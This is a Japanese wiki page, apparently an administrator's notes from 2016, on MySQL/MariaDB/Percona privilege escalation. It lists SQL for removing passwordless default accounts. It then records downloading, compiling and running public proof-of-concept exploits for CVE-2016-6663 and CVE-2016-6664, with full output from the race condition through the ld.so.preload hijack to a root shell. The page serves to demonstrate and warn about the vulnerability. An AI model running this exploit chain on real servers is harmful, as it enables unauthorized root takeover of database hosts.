flagflag  If you want to see English page, please click "English" Button at Left.
Page Top

MySQL, MariaDB, Percona anchor.png

  • 該当マシンにアカウントがあり,データベースのアクセス(書き込み)可能な場合,Root権限を奪取される
  • MySQL の初期ユーザ等が残っている場合は特に危険.
Page Top
デフォルトユーザ anchor.png
  • パスワードなし,ユーザ名なしのデータはインストール時に削除すべき.
MariaDB [(none)]> use mysql;
MariaDB [mysql]> select Host,User,Password from user;
+-----------+------+-------------------------------------------+
| Host      | User | Password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *1B1F13007F2FA68140D751B563EB49E0186A116B |
| rigel-b   | root |                                           |
| 127.0.0.1 | root |                                           |
| ::1       | root |                                           |
| localhost |      |                                           |
| rigel-b   |      |                                           |
+-----------+------+-------------------------------------------+
  • 以下のコマンドで削除しておく
MariaDB [(none)]> use mysql;
MariaDB [mysql]> delete from user where user='';  
MariaDB [mysql]> delete from user where password='';
Page Top
mysql ユーザアカウントのダッシュ anchor.png
$ wget ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilities/mysql-privesc-race.c
$ gcc -o mysql-privesc-race mysql-privesc-race.c -I/usr/local/mysql/include/mysql -L/usr/local/mysql/lib -lmysqlclient
[iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localhost test

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / CVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski 
http://legalhackers.com


[+] Starting the exploit as: 
uid=502(iseki) gid=100(users) 所属グループ=100(users)

[+] Connecting to the database `test` as @localhost

[+] Creating exploit temp directory /tmp/mysql_privesc_exploit

[+] Creating mysql tables 

DROP TABLE IF EXISTS exploit_table 
DROP TABLE IF EXISTS mysql_suid_shell 
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

[+] Copying bash into the mysql_suid_shell table.
   After the exploitation the following file/table will be assigned SUID and executable bits : 
-rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...
->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->

[+] Bingo! Race won (took 12874 tries) ! Check out the mysql SUID shell: 

-rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now... 
   Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.1$ whoami
mysql
Page Top
mysql アカウントからの root アカウントのダッシュ anchor.png
mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/rigel-b.err 

MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / CVE-2016-5617

Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 

[+] Starting the exploit as 
uid=502(iseki) gid=100(users) euid=103(mysql) 所属グループ=100(users)

[+] Target MySQL log file set to /var/mysql/rigel-b.err

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/mysqlrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysql/rigel-b.err -> /etc/ld.so.preload

[+] Waiting for MySQL to re-open the logs/MySQL service restart...

[+] Waiting for MySQL to re-open the logs/MySQL service restart...
./mysql-chowned.sh: line 153: pidof: コマンドが見つかりません
Do you want to kill mysqld process  to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
-rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED ! 

[+] Spawning the rootshell /tmp/mysqlrootsh now!

mysqlrootsh-4.1# whoami
root

トップ   凍結 差分 バックアップ 複製 名前変更 リロード   新規 ページ一覧 単語検索 最終更新   ヘルプ   最終更新のRSS 1.0 最終更新のRSS 2.0 最終更新のRSS Atom
Counter: 1821, today: 1, yesterday: 0
最終更新: 2016-11-11 (金) 15:46:20 (JST) (2890d) by iseki

サイト内 検索

ログイン

ユーザー名:

パスワード:


パスワード紛失
新規登録

サブ メニュー

ミニカレンダー

前月2024年 10月翌月
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
<今日>

オンライン状況

19 人のユーザが現在オンラインです。 (4 人のユーザが xpwiki を参照しています。)

登録ユーザ: 0
ゲスト: 19

もっと...

アクセスカウンタ

今日 : 1972197219721972
昨日 : 4960496049604960
総計 : 2437244224372442243724422437244224372442243724422437244224372442
Powered by XOOPS Cube 2.1© 2001-2006 XOOPS Cube Project
Design by XoopsDesign.com